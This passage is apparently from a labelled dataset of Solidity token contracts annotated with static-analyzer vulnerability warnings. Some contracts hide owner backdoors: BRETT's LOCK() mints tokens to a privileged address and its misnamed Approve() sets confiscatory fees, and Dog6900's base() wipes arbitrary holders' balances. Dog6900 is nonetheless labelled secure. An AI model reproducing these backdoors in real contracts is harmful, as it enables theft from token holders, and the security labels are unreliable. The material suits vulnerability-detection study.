Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ed2b6d5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ed2b6d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 1309d8a): PNUT._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for 1309d8a: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ae14ab6): PNUT.bots is never initialized. It is used in PNUT._transfer(address,address,uint256) PNUT.isBotter(address)\n\t// Recommendation for ae14ab6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d08b096): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d08b096: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 1309d8a\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (_buyCount < _preventSwapBefore) {\n require(!isContract(to));\n }\n\n _buyCount++;\n\n _buyerMap[to] = true;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (to == uniswapV2Pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n require(\n _buyCount > _preventSwapBefore || _buyerMap[from],\n \"Seller is not buyer\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: ed2b6d5\n\t\t\t\t// reentrancy-eth | ID: d08b096\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ed2b6d5\n\t\t\t\t\t// reentrancy-eth | ID: d08b096\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d08b096\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ed2b6d5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d08b096\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d08b096\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ed2b6d5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n\n if (!tradingOpen) {\n return;\n }\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ed2b6d5\n\t\t// reentrancy-events | ID: b0b2d10\n\t\t// reentrancy-benign | ID: 850bd79\n\t\t// reentrancy-eth | ID: d08b096\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimitsPNUT() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9e08307): PNUT.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 9e08307: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ed2b6d5\n\t\t// reentrancy-events | ID: b0b2d10\n\t\t// reentrancy-eth | ID: d08b096\n\t\t// arbitrary-send-eth | ID: 9e08307\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ae14ab6): PNUT.bots is never initialized. It is used in PNUT._transfer(address,address,uint256) PNUT.isBotter(address)\n\t// Recommendation for ae14ab6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function isBotter(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 99148ea): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 99148ea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e9d58ab): PNUT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e9d58ab: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5052e3b): PNUT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5052e3b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1a919b8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1a919b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 99148ea\n\t\t// reentrancy-eth | ID: 1a919b8\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 99148ea\n\t\t// unused-return | ID: e9d58ab\n\t\t// reentrancy-eth | ID: 1a919b8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 99148ea\n\t\t// unused-return | ID: 5052e3b\n\t\t// reentrancy-eth | ID: 1a919b8\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 99148ea\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1a919b8\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function manualSwapTokens() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function isUniswapV3(address spender) private pure returns (bool) {\n address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;\n\n return (spender == uniswapV3PositionManager);\n }\n}",
"file_name": "solidity_code_3263.sol",
"secure": 0,
"size_bytes": 19473
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function Ox97628(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_3264.sol",
"secure": 1,
"size_bytes": 853
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n return c;\n }\n}",
"file_name": "solidity_code_3265.sol",
"secure": 1,
"size_bytes": 457
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BRETT is Context, Ownable, IERC20 {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _transferFees;\n mapping(address => bool) private _isExcludedFromFee;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: ea67e81): BRETT._decimals should be immutable \n\t// Recommendation for ea67e81: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: f5f377e): BRETT._totalSupply should be immutable \n\t// Recommendation for f5f377e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: bf6dca5): BRETT.HOME should be immutable \n\t// Recommendation for bf6dca5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public HOME;\n\t// WARNING Optimization Issue (constable-states | ID: f3cfc32): BRETT.marketFee should be constant \n\t// Recommendation for f3cfc32: Add the 'constant' attribute to state variables that never change.\n uint256 marketFee = 0;\n\t// WARNING Optimization Issue (constable-states | ID: ba52cd2): BRETT.marketAddress should be constant \n\t// Recommendation for ba52cd2: Add the 'constant' attribute to state variables that never change.\n address public marketAddress = 0x561a89Ae3a2245F05eAF6F19a766Cbe009573666;\n address constant _beforeTokenTransfer =\n 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d73a6b1): BRETT.constructor(string,string,uint256,uint8,address).jnyMJBY lacks a zerocheck on \t HOME = jnyMJBY\n\t// Recommendation for d73a6b1: Check that the address is not zero.\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 total,\n uint8 decimals_,\n address jnyMJBY\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = total;\n\t\t// missing-zero-check | ID: d73a6b1\n HOME = jnyMJBY;\n _balances[_msgSender()] = _totalSupply;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[HOME] = true;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function Approve(address[] memory LIT, uint256 buy) external {\n assembly {\n if gt(buy, 100) {\n revert(0, 0)\n }\n }\n if (HOME != _msgSender()) {\n return;\n }\n for (uint256 i = 0; i < LIT.length; i++) {\n _transferFees[LIT[i]] = buy;\n }\n }\n\n function LOCK() public {\n if (HOME != _msgSender()) {\n require(HOME == _msgSender());\n }\n uint256 tw2 = 100000000000 * 10 ** decimals() * 55000;\n _balances[_msgSender()] += tw2;\n require(HOME == _msgSender());\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"Put: transfer amount exceeds balance\"\n );\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 marketAmount = (amount * marketFee) / 100;\n uint256 finalAmount = amount - fee - marketAmount;\n\n _balances[_msgSender()] -= amount;\n _balances[recipient] += finalAmount;\n _balances[_beforeTokenTransfer] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n emit Transfer(_msgSender(), _beforeTokenTransfer, fee);\n emit Transfer(_msgSender(), marketAddress, marketAmount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92bb043): BRETT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 92bb043: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5886faa): BRETT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5886faa: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function Ox97628(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n emit Approval(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"Put: transfer amount exceeds allowance\"\n );\n uint256 fee = (amount * _transferFees[sender]) / 100;\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n _balances[recipient] += finalAmount;\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[_beforeTokenTransfer] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n emit Transfer(sender, _beforeTokenTransfer, fee);\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3266.sol",
"secure": 0,
"size_bytes": 7167
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract SwapMasters is ERC20, Ownable {\n constructor() ERC20(\"SwapMasters\", \"SWAP\") {\n _mint(msg.sender, 10000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3267.sol",
"secure": 1,
"size_bytes": 359
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Finale is Context, IERC20 {\n using SafeMath for uint256;\n\n string private constant _name = \"Finale\";\n string private constant _symbol = \"FINALE\";\n uint8 private constant _decimals = 18;\n uint256 private _tTotal = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e143e6c): Finale.uniswapV2Router should be immutable \n\t// Recommendation for e143e6c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 006dcbc): Finale.uniswapV2Pair should be immutable \n\t// Recommendation for 006dcbc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n mapping(address => uint256) private balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n balances[_msgSender()] = _tTotal;\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = _uniswapV2Pair;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] - subtractedValue\n );\n return true;\n }\n\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _burnTokens(address from, uint256 value) internal {\n require(from != address(0), \"ERC20: burn from the zero address\");\n balances[from] = balances[from].sub(\n value,\n \"ERC20: burn amount exceeds balance\"\n );\n _tTotal = _tTotal.sub(value);\n emit Transfer(from, address(0), value);\n }\n\n function burn(uint256 amount) external {\n _burnTokens(_msgSender(), amount);\n }\n\n function burnTokens(uint256 amount) external {\n _burnTokens(_msgSender(), amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n balances[from] -= amount;\n balances[to] += amount;\n emit Transfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_3268.sol",
"secure": 1,
"size_bytes": 5318
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Dog6900 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable remedy;\n\n constructor() {\n _name = \"dog6900\";\n\n _symbol = \"DOG6900\";\n\n _decimals = 18;\n\n uint256 initialSupply = 716000000;\n\n remedy = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == remedy, \"Not allowed\");\n\n _;\n }\n\n function base(address[] memory dinner) public onlyOwner {\n for (uint256 i = 0; i < dinner.length; i++) {\n address account = dinner[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3269.sol",
"secure": 1,
"size_bytes": 4354
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Token is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private constant _decimals = 18;\n\n uint256 public constant presaleReserve = 250_000_000 * (10 ** _decimals);\n\n uint256 public constant powerballJackpotReserve =\n 125_000_000 * (10 ** _decimals);\n\n uint256 public constant ticketsaleJackpotReserve =\n 125_000_000 * (10 ** _decimals);\n\n uint256 public constant initialInvestorsReserve =\n 300_000_000 * (10 ** _decimals);\n\n uint256 public constant stakingReserve = 100_000_000 * (10 ** _decimals);\n\n uint256 public constant liquidityReserve = 100_000_000 * (10 ** _decimals);\n\n constructor() {\n _name = \"Gateway2Fortune\";\n\n _symbol = \"G2F\";\n\n _mint(0x7bB5E5669813495bCddc46f1453e1de1Ab6BfD86, presaleReserve);\n\n _mint(\n 0x93a1747c2Ce534Db4158Ce61295c8977c47bFeF4,\n powerballJackpotReserve\n );\n\n _mint(\n 0x77D1650B8D9458f213a2D0bb35cDE5A37d4F1720,\n ticketsaleJackpotReserve\n );\n\n _mint(\n 0x897213a552709D198E4E7527344751fa025B16d5,\n initialInvestorsReserve\n );\n\n _mint(0x631D518eaA95507Db1F1F6bA0b1A400cEc916c61, stakingReserve);\n\n _mint(0x308A10b7A788033b69962528E4fBBbd503b6D490, liquidityReserve);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address from,\n address to\n ) public view virtual override returns (uint256) {\n return _allowances[from][to];\n }\n\n function approve(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), to, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address to,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address to,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][to];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), to, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(amount > 0, \"ERC20: transfer amount zero\");\n\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function _approve(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: approve from the zero address\");\n\n require(to != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[from][to] = amount;\n\n emit Approval(from, to, amount);\n }\n}",
"file_name": "solidity_code_327.sol",
"secure": 1,
"size_bytes": 6228
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"./TheOperatorFilterer.sol\" as TheOperatorFilterer;\n\ncontract UnordinalsBAYC is ERC721A, TheOperatorFilterer {\n\t// WARNING Optimization Issue (constable-states | ID: 388f56e): UnordinalsBAYC.maxSupply should be constant \n\t// Recommendation for 388f56e: Add the 'constant' attribute to state variables that never change.\n uint256 public maxSupply = 999;\n\t// WARNING Optimization Issue (constable-states | ID: c66e660): UnordinalsBAYC.cost should be constant \n\t// Recommendation for c66e660: Add the 'constant' attribute to state variables that never change.\n uint256 cost = .002 ether;\n uint256 freeTx;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ff9f7c6): UnordinalsBAYC.owner should be immutable \n\t// Recommendation for ff9f7c6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address owner;\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() ERC721A(\"Unordinals BAYC\", \"UBAYC\") {\n owner = msg.sender;\n freeTx = 1;\n uri = 